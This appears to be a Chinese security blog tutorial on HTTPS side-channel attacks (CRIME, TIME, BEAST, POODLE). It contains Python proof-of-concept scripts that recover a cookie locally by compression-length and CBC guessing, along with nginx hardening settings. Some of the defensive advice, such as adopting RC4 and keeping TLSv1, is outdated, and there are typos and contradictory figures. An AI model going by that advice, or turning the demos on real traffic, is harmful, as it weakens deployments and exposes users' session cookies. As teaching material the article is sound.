【HTTPS】攻擊

2021-02-25 計算機與網絡安全

針對於HTTPS的攻擊,多存在於中間人攻擊的環境中,主要是針對於HTTPS所使用的壓縮算法和CBC加密模式,進行side-channel-attack。這幾類攻擊的前置條件都比較苛刻,且都需要受害主機提交很多次請求來收集破譯關鍵數據的足夠信息。

常見的攻擊方法,主要有,BEAST Lucky-13 RC4 Biases CRIME TIME BREACH等。主要對其中三中進行介紹。

一、CRIME

Compression Ratio Info-leak Made Easy

攻擊原理

攻擊者控制受害者發送大量請求,利用壓縮算法的機制猜測請求中的關鍵信息,根據response長度判斷請求是否成功。

如下面的https頭,攻擊這可以控制的部分為get請求地址,想要猜測的部分為Cookie。那麼攻擊者只需要在GET地址處,不斷變換猜測字符串,進行猜測。

GET /sessionid=a HTTP/1.1Host: bank.comUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:16.0) Gecko/20100101 Firefox/16.0Cookie: sessionid=d3b0c44298fc1c149afbf4c8996fb924GET /sessionid=a HTTP/1.1Host: bank.comUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:16.0)Gecko/20100101 Firefox/16.0Cookie: sessionid=d3b0c44298fc1c149afbf4c8996fb924

比如上面的情況Response長度為 1000byte。

GET /sessionid=d HTTP/1.1Host: bank.comUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:16.0)Gecko/20100101 Firefox/16.0Cookie: sessionid=d3b0c44298fc1c149afbf4c8996fb924

當攻擊者猜對了cookie的第一個字母,Response的長度會縮小到9999byte。

當Response被SSL加密之後,如果使用RC4加密模式,長度並不會發生隨機改變。使用BCB加密模式時,因為padding的原因,長度會有略微的改變。

受影響的加密算法

Deflate = LZ77 + HuffManGZip = Headers + Data Compressed using Deflate

攻擊前提

攻擊者可以獲取受害者的網絡通信包。(中間人攻擊,ISP供應商)

瀏覽器和伺服器支持均支持並使用壓縮算法。

攻擊這可以控制受害者發送大量請求並可以控制請求內容。

防禦方法

客戶端可以升級瀏覽器來避免這種攻擊。

• Chrome: 21.0.1180.89 and above• Firefox: 15.0.1 and above• Opera: 12.01 and above• Safari: 5.1.7 and above

伺服器端可以通過禁用一些加密算法來防止此類攻擊。

Apache

• SSLCompression flag = 「SSLCompression off」

• GnuTLSPriorities flag = 「!COMP-DEFLATE"

禁止過於頻繁的請求。

修改壓縮算法流程,用戶輸入的數據不進行壓縮。

隨機添加長度不定的垃圾數據。

影響範圍

TLS 1.0.SPDY protocol (Google).Applications that uses TLS compression.Mozilla Firefox (older versions) that support SPDY.Google Chrome (older versions) that supported both TLS and SPDY.

POC

這個poc並不是模擬真實環境下的中間人攻擊,只是在python中利用CRIME的思想驗證了攻擊的可行性。

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

import string

import zlib

import sys

import random

charset = string.letters + string.digits

COOKIE = ''.join(random.choice(charset) for x in range(30))

HEADERS = ("POST / HTTP/1.1\r\n"

"Host: thebankserver.com\r\n"

"Connection: keep-alive\r\n"

"User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/22.0.1207.1 Safari/537.1\r\n"

"Accept: */*\r\n"

"Referer: https://thebankserver.com/\r\n"

"Cookie: secret="+COOKIE+"\r\n"

"Accept-Encoding: gzip,deflate,sdch\r\n"

"Accept-Language: en-US,en;q=0.8\r\n"

"Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3\r\n"

"\r\n")

BODY = ("POST / HTTP/1.1\r\n"

"Host: thebankserver.com\r\n"

"Connection: keep-alive\r\n"

"User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/22.0.1207.1 Safari/537.1\r\n"

"Accept: */*\r\n"

"Referer: https://thebankserver.com/\r\n"

"Cookie: secret=")

cookie = ""

def compress(data):

c = zlib.compressobj()

return c.compress(data) + c.flush(zlib.Z_SYNC_FLUSH)

def getposset(perchar,chars):

posset = []

baselen = len(compress(HEADERS+perchar))

for i in chars:

t = len(compress(HEADERS+ perchar+i))

if (t<=baselen):

posset += i

return posset

def doguess():

global cookie

while len(cookie)<30:

posset = getposset(BODY+cookie,charset)

trun = 1

tem_posset = posset

while 1<len(posset):

tem_body = BODY[trun:]

posset = getposset(tem_body+cookie,tem_posset)

trun = trun +1

if len(posset)==0:

return False

cookie += posset[0]

print posset[0]

return True

while BODY.find("\r\n")>=0:

if not doguess():

print "(-)Changebody"

BODY = BODY[BODY.find("\r\n") + 2:]

print "(+)orign cookie"+COOKIE

print "(+)Gotten cookie"+cookie

二、TIME

Timing Info-leak Made Easy

攻擊原理

攻擊者控制受害者發送大量請求,利用壓縮算法的機制猜測請求中的關鍵信息,根據response響應時間判斷請求是否成功。其實TIME和CRIME一樣都利用了壓縮算法,只不過CRIME是通過長度信息作為輔助,而TIME是通過時間信息作為輔助。

Unable to render embedded object: File (1.jpg) not found.

如上圖當數據長度,大於MTU時會截斷為兩個包發送,這樣就會產生較大的相應時間差異。攻擊者吧包長控制在MTU左右,不斷嘗試猜測COOKIE。 Unable to render embedded object: File (QQ圖片20140724174303.jpg) not found.

如上圖所示,我們通過添加Padding來吧數據包大小增加到和MTU相等,Case 1中我們添加的extraByte和需要猜測的數據重合,因為壓縮算法的原因,並不會增加包的長度,而Case 2中extraByte和需要猜測的數據並不一致,導致了分包。攻擊這可以通過響應時間的不同來區分Case1 Case2兩種情況。

攻擊前提

攻擊這可以控制受害者發送大量請求並可以控制請求內容。

穩定的網絡環境。

防禦方法

在解密Response過程中加入隨機的短時間延遲。

阻止短時間內的頻繁請求。

三、BEAST

Browser Exploit Against SSL/TLS

攻擊原理

攻擊者控制受害者發送大量請求,利用CBC加密模式猜測關鍵信息。

CBC模式工作的方法是當加密第i塊的時候,和第i-1塊的密文異或。更正式地表達如下:

Ci= E(Key, Ci-1 ⊕ Mi)

很顯然,當你加密第一塊的時候,沒有前一塊的密文和它異或,因此,標準的做法是產生一個隨機的初始化向量(IV),並且用它和第一塊明文異或。第一塊M0的加密如下:

C0= E(Key, IV ⊕ M0).

然後,接著第一塊M1加密如下:

C1= E(Key, C0 ⊕ M1).

現在,除非C0 碰巧和IV一樣(這是非常不可能的),那麼,即使M0 = M1,對於加密函數來說,兩個輸入是不同的,因此,C0≠ C1。 CBC有兩種的基本的使用方法:

1. 對於每條記錄都認為是獨立的;為每一個記錄產生一個IV

2. 把所有的記錄當作一個連結在一起的大對象,並且在記錄之間繼續使用CBC的狀態。這意味著最後一條記錄n的IV是n-1條記錄的密文。

SSLV3和TLS1.0選擇的是第二個用法。這好像本來就是個錯誤

CBC有兩種的基本的使用方法:

1. 對於每條記錄都認為是獨立的;為每一個記錄產生一個IV

2. 把所有的記錄當作一個連結在一起的大對象,並且在記錄之間繼續使用CBC的狀態。這意味著最後一條記錄n的IV是n-1條記錄的密文。

SSL 3.0和TLS1.0選擇的是第二個用法。因此產生了加密算法的安全問題。

攻擊者可以把想要猜測的數據段替換掉成:

X ⊕ Ci-1 ⊕ P

當這個注入的內容被加密,X會被異或,結果傳給加密算法的明文塊如下:

Ci-1 ⊕ P

如果P==Mi , 新的密文塊將和Ci一樣,這意味著,你的猜測是正確的。

攻擊前提

攻擊者可以獲取受害者的網絡通信包。(中間人攻擊,ISP供應商)

攻擊者需要能得到發送敏感數據端的一部分權限。以便將自己的信息插入SSL/TLS會話中。

攻擊者需要準確的找出敏感數據的密文段。

攻擊這可以控制受害者發送大量請求並可以控制請求內容。

防禦方法

使用RC4加密模式代替BCB加密模式。

部署TLS 1.1或者更高級的版本,來避免SSL 3.0/TLS 1.0帶來的安全問題。

在服務端設置每傳輸固定字節,就改變一次加密秘鑰。

影響範圍

TLS 1.0.SPDY protocol (Google).Applications that uses TLS compression.Mozilla Firefox (older versions) that support SPDY.Google Chrome (older versions) that supported both TLS and SPDY.

POC

僅在python上模擬了攻擊思想的實現,編碼中只實現了第一個字母的猜測。

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

import sys

import string

import random

from Crypto.Cipher import AES

key = 'lyp62/22Sh2RlXJF'

mode = AES.MODE_CBC

vi = '1234567812345678'

charset = string.letters + string.digits

cookie = ''.join(random.choice(charset) for x in range(30))

HEADERS = ("POST / HTTP/1.1\r\n"

"Host: thebankserver.com\r\n"

"Connection: keep-alive\r\n"

"User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/22.0.1207.1 Safari/537.1\r\n"

"Accept: */*\r\n"

"Referer: https://thebankserver.com/\r\n"

"Cookie: secret="+cookie+"\r\n"

"Accept-Encoding: gzip,deflate,sdch\r\n"

"Accept-Language: en-US,en;q=0.8\r\n"

"Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3\r\n"

"\r\n")

global pad_num

def add_padding(plaintext):

global pad_num

pad_num = 16 - len(plaintext) % 16

for i in range(0,pad_num):

plaintext += chr(pad_num)

return plaintext

def check_padding(plaintext):

global pad_num

for i in range(1,pad_num+1):

if (plaintext[-i]!=chr(pad_num)):

return False

return True

def encrypto(plaintext):

global pad_num

obj = AES.new(key,mode,vi)

if (len(plaintext) % 16):

plaintext = add_padding(plaintext)

else:

pad_num=0

ciphertext = obj.encrypt(plaintext)

if (check_padding(ciphertext)):

return ciphertext

else:

return 0

def decrypto(ciphertext):

obj = AES.new(key,mode,vi)

plaintext = obj.decrypt(ciphertext)

return plaintext

def findcookie():

global HEADERS

return HEADERS.find('secret=')+7

guess_cookie=''

pos_cookie=findcookie()

pos_block_s = pos_cookie + 16 - pos_cookie%16

HEADERS = HEADERS[:pos_cookie] + (16 - pos_cookie % 16 + 15)*'a' +HEADERS[pos_cookie:]

encry_head = encrypto(add_padding(HEADERS))

per_per_block = encry_head[pos_block_s - 16:pos_block_s]

per_block = encry_head[pos_block_s:pos_block_s+16]

aft_block = encry_head[pos_block_s+16:pos_block_s+32]

for i in charset:

guess_block = 'a' * 15 + i

insert_block = ''.join(chr(ord(a) ^ ord(b) ^ ord(c)) for a,b,c in zip(per_block,per_per_block,guess_block))

temp_header = HEADERS[:pos_block_s+16] + insert_block + HEADERS[pos_block_s+16:]

encry_temp_header = encrypto(add_padding(temp_header))

if (aft_block == encry_temp_header[pos_block_s+32:pos_block_s+48]):

print "(+)first byte is:"+i

print "(+)orign cookie:"+cookie

攻擊者首先使用降級攻擊,來讓瀏覽器使用ssl v3.0,再通過ssl v3.0 CBC-mode 存在的缺陷,竊取到用戶傳輸的明文。

四、POODLE

降級攻擊

ssl v3.0是一個存在了很久的協議了,現在大多數瀏覽器為了兼容性都會支持這個協議,但是並不會首先使用這個協議,中間人攻擊者可以駁回瀏覽器協商高版本協議的請求,只放行ssl v3.0協議。

Padding Oracle攻擊

針對於CBC的攻擊之前已經有一些了,比如,Beast,Lucky17之類的,詳細可以看這裡

首先來看CBC-mod的加解密流程。

解密流程

加密流程

校驗流程

MAC1 = hash(明文)

密文 = Encode(明文+MAC1+Padding,K) 明文 = Decode(密文,k) - MAC1-Padding(padding的長度由最後一個字節標識)

MAC2 = hash(明文) 如果 MAC1 == MAC2 則校驗成功 否則失敗

知二求三

Padding Oracle 攻擊一般都會滿足一個知二求三的規律,如下圖

(1) VI

(2) 解密後的數據,叫它 midText把

(3) Plaintext

這三個值我們得到其中兩個就可以推出另外一個,因為他們在一起Xor了嘛。

http://drops.wooyun.org/wp-content/uploads/2014/12/file0004.jpg

在Poodle攻擊中,我們會把最後一個數據塊替換成我們想要猜測的數據塊。如下圖所示。


這樣導致的直接後果就是,CBC完整性驗證失敗,數據包被駁回。我們假設最後一個數據塊均為padding組成(其實我們可以通過控制包的長度來達到這一目的,比如增加path的長度)

那麼若且唯若Plaintext[7] == 7(block為16為時為15) 的時候CBC完整性校驗才會通過。如果不為7,多刪或者少刪的padding,都會影響到MAC的正確取值,從而導致校驗失敗。

那麼,我們只需要不斷地更改(1) IV 最後一位的值 ,直到(3) Plaintext最後一位為 7 (CBC驗證通過)的時候,我們就可以推出 (2) mid text 的最後一位。

POODLEBEASTLucky-13RC4 BiasesPadding Oracle On Downgraded Legacy Encryptiontext-base-side-channel-attacktime-base-side-channel-attacktime-base-side-channel-attack低版本SSL,中間人,大量數據包,BCB模式低版本SSL,中間人,大量數據包,發送內容可控,BCB模式響應時間,大量數據報,發送內容可控響應時間,大量數據報,發送內容可控,RC4模式五、安全配置建議

此處的安全配置以nginx為例,主要在Nginx.conf中配置。

使用較為安全的SSL加密協議。

ssl_protocols TLSv1 TLSv1.1 TLSv1.2;

使用嚴格的加密方法設置。

ssl_ciphers 'ECDHE-RSA-AES256-GCM-SHA384:ECDHE-RSA-AES128-GCM-SHA256:DHE-RSA-AES256-GCM-SHA384:DHE-RSA-AES128-GCM-SHA256:ECDHE-RSA-AES256-SHA384:ECDHE-RSA-AES128-SHA256:ECDHE-RSA-AES256-SHA:ECDHE-RSA-AES128-SHA:DHE-RSA-AES256-SHA256:DHE-RSA-AES128-SHA256:DHE-RSA-AES256-SHA:DHE-RSA-AES128-SHA:ECDHE-RSA-DES-CBC3-SHA:EDH-RSA-DES-CBC3-SHA:AES256-GCM-SHA384:AES128-GCM-SHA256:AES256-SHA256:AES128-SHA256:AES256-SHA:AES128-SHA:DES-CBC3-SHA:HIGH:!aNULL:!eNULL:!EXPORT:!CAMELLIA:!DES:!MD5:!PSK:!RC4';

優先依賴伺服器密碼。

ssl_prefer_server_ciphers on;

啟用HSTS協議。

add_header Strict-Transport-Security max-age=15768000;

重定向的配置

server { listen 80; add_header Strict-Transport-Security max-age=15768000; return 301 https://www.yourwebsite.com$request_uri;}

使用2048位的數字證書

openssl dhparam -out dhparam.pem 2048ssl_dhparam /path/to/dhparam.pem;

回覆:QQ群,微信群,可加群交流。

相關焦點

  • 常見的HTTPS攻擊方法
    0x00 背景研究常見的https攻擊方法Beast crime breach,並針對https的特性提出一些安全部署https的建議
  • HTTPS 中間人攻擊及其防範
    在之前的文章中,筆者簡要介紹了一下 HTTPS 的工作原理,在擴展閱讀中,筆者提到了中間人攻擊( Man In The Middle Attack,簡稱 MITM)。而在本文中,筆者將進一步解釋什麼是中間人攻擊。
  • 深入理解HTTPS
    工具在線畫圖工具:https://www.desmos.com/calculator/ialhd71we3參考文章SSL證書CA機構:https://ssl.idcspy.net/5687.html數字證書與網絡安全:http:
  • 聊一聊 HTTPS 的工作原理
    加入我們一起學習,天天進步文章來源:https://www.javadoop.com/post/https本文聊聊 HTTPS 的一些東西,和大家扯扯 SSL 證書的整個工作流程。希望大家有一些基本的常識:https 使用了非對稱加密和對稱加密,為什麼要使用對稱和非對稱加密?非對稱加密的原理是什麼?這種簡單的問題默認讀者已經了解了。非對稱加密涉及到一對公鑰和私鑰組合,它們是一一對應的關係,不存在一個私鑰對應多個公鑰這種情況。CA 是 Certification Authority 的縮寫,它代表世界上那些權威的證書頒發機構。
  • HTTPS 溫故知新(四) —— 直觀感受 TLS 握手流程(下)
    刪除了 RSA 的方式以後,能有效預防心臟出血[1]的攻擊。「所有基於公鑰的密鑰交換算法現在都能提供前向安全」。這樣可以有效的預防 FREAK,LogJam 和 CurveSwap 這些降級攻擊(降級攻擊是中間人利用協商,強制使通信雙方使用能被支持的最低強度的加密算法,從而暴力攻擊計算出密鑰,允許攻擊者在握手時偽造 MAC)。在TLS 1.3中,這種類型的降級攻擊是不可能的,因為伺服器現在籤署了整個握手,包括密碼協商。
  • Kerberos相關攻擊技巧
    Kerberosast攻擊:這種攻擊方法主要利用了TGT_REP階段使用對方NTLM Hash返回的加密數據,通過碰撞加密數據破解用戶密碼。白銀票據:獲取某域帳號HASH之後,偽造服務票據ST。通過偽造的TGS,可以直接發送給Server,訪問指定的某個服務,來進行攻擊。此過程無需KDC。
  • 八大網絡攻擊地圖及其用法
    卡巴斯基地圖上顯示的攻擊,來自按需掃描和按訪問掃描,以及Web和電子郵件檢測。但其實時展示的實時性,尚不清楚。https://cybermap.kaspersky.com/3. 飛塔https://threatmap.fortiguard.com/4. Check Point Software
  • DDoS攻擊、CC攻擊的攻擊方式和防禦方法
    分布式拒絕服務攻擊一旦被實施,攻擊網絡包就會從很多DOS攻擊源(俗稱肉雞)猶如洪水般湧向受害主機,從而把合法用戶的網絡包淹沒,導致合法用戶無法正常訪問伺服器的網絡資源,因此,拒絕服務攻擊又被稱之為「洪水式攻擊」,常見的DDOS攻擊手段有SYN Flood、ACK Flood、UDP Flood、ICMP Flood、TCP Flood、Connections Flood、Script Flood、Proxy
  • Red Team 工具集之攻擊武器庫
    /Red-Teaming-Toolkit上圖是一個 Red Team 攻擊的生命周期,整個生命周期包括:信息收集、攻擊嘗試獲得權限、持久性控制、權限提升、網絡信息收集、橫向移動、數據分析(在這個基礎上再做持久化控制)、在所有攻擊結束之後清理並退出戰場。
  • 匿名者發布三個黑客攻擊操作指南「教你如何攻擊ISIS」
    另外一方面,目前匿名者公布了一系列的攻擊操作指南,勸說人們參與到#OpParis這個行動中來。操作指南包括了曝光及攻擊隸屬於ISIS網站以及其他的媒體帳號的方法。其實匿名者與 ISIS之間的較勁是從在今年一月份發生的《查理周刊》總部遭遇大屠殺開始的。匿名者持續對ISIS進行網絡攻擊,同時已經曝光了其超過5500個推特帳戶。
  • 總結29種不同類型的USB攻擊
    https://www.youtube.com/watch?16)Boot Sector Virus  -研究人員使用一個USB快閃記憶體驅動器它靴[之前感染計算機關於這個工具的文檔https://srlabs.de/wp-content/uploads/2014/07/SRLabs-BadUSB-BlackHat-v1.pdfhttps://dl.acm.org/citation.cfm?
  • 2018年全球十大APT攻擊事件盤點
    /[2].https://www.securityweek.com/russia-hacked-olympics-computers-turned-blame-north-korea-report[3].https://www.justice.gov/opa/press-release/file/1092091/download[4].https://www.fireeye.com
  • 淺析CSRF的防禦和攻擊案例
    但是現在有些點發生了一些變化, 因此我想從2020年的角度來重新看CSRF的防禦當然我依然建議先閱讀上面的文章, 部分相同的地方就不再細述了 CSRF(Cross-site request forgery)跨站請求偽造:攻擊者誘導受害者進入第三方網站,在第三方網站中,向被攻擊網站發送跨站請求。
  • SPACE RACE攻擊行動
    2020年5月初,Telsy分析了一些針對航空航天和航空電子領域的攻擊活動,攻擊者通過流行的職場社交網絡LinkedIn對個人進行社會工程學攻擊
  • 文本對抗攻擊入坑寶典
    今天給大家討論的是NLP Privacy中一個非常核心的話題——文本對抗攻擊。相信大家已經非常熟悉對抗攻擊了,此類攻擊是攻擊者針對機器學習模型的輸入即數值型向量(Numeric Vectors)設計的一種可以讓模型做出誤判的攻擊。簡言之,對抗攻擊就是生成對抗樣本的過程。
  • 首發—攻擊者開始攻擊Edimax WiFi橋接器
    我們對攻擊次數進行了統計,如圖 3.1 所示。發現攻擊的次數在4月18日我們更新了捕獲系統後總體呈現上升趨勢,4月21日開始,出現了大量投遞樣本的行為。我們統計了攻擊源數量變化和捕獲到該攻擊的節點數量變化,如圖 3.2 所示。可以看出攻擊源數量和捕獲到該攻擊的節點數量均呈現上升的趨勢。
  • BITTER組織近期攻擊巴基斯坦活動分析
    BITTER組織(又稱APT-C-08、T-APT-17、蔓靈花、苦象)是一個長期針對亞洲國家進行攻擊活動的APT組織,其還曾被發現對沙烏地阿拉伯進行攻擊
  • 利用 mstsc 反向攻擊思路整理
    在這方便已經有較為成熟的工具,RDPInception,github 地址:https://github.com/mdsecactivebreach/RDPInception/c、限制條件該攻擊方法使用時限制條件較多
  • 警惕來自節假日的祝福:APT攻擊組織"黑格莎(Higaisa)"攻擊活動披露
    ,該攻擊活動一直持續到現在。「黑格莎(Higaisa)」組織攻擊活動的完整技術報告,請從這裡下載:https://dlied6.qq.com/invc/qqpcmgr/skin/1572851347.pdf二、攻擊過程最初始的攻擊,從郵件釣魚開始,郵件內容如下:
  • 隔離網絡高級威脅攻擊預警分析報告
    ,用正常的系統特性隱藏快捷方式文件的漏洞攻擊,四個部分結合起來就成為了更難以被發現的高級威脅攻擊,可以在被攻擊系統中長期潛伏。第七章 參考https://wikileaks.org/vault7/document/Emotional_Simian-v2_3-User_Guide/Emotional_Simian-v2_3-User_Guide.pdfhttps://wikileaks.org/vault7/document/Brutal_Kangaroo-DriftingDeadline-V1